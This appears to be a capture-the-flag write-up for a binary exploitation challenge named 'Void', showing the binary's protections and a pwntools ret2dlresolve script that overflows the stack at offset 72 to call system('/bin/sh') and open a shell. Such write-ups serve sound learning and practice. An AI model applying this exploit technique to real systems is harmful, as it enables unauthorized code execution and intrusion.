Void

Description

The room goes dark and all you can see is a damaged terminal. Hack into it to restore the power and find your way out.

Solution

Check file properties and binary protections.

{% code overflow="wrap" %}

file void
void: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=a5a29f47fbeeeff863522acff838636b57d1c213, for GNU/Linux 3.2.0, not stripped

{% endcode %}

{% code overflow="wrap" %}

checksec --file void
[*] '/home/crystal/Desktop/challenge/void'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./glibc/'

{% endcode %}

PwnTools script finds offset of 72 for RIP.

ret2dlresolve exploit works with little modification.

{% code overflow="wrap" %}

# Start program

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop = ROP(elf)

rop.raw('A' * offset)

rop.ret2dlresolve(dlresolve)                 # call .plt and dl-resolve() with the correct, calculated reloc_offset

io.sendline(rop.chain())
io.sendline(dlresolve.payload)                # now the read is called and we pass all the relevant structures in

# Got Shell?
io.interactive()
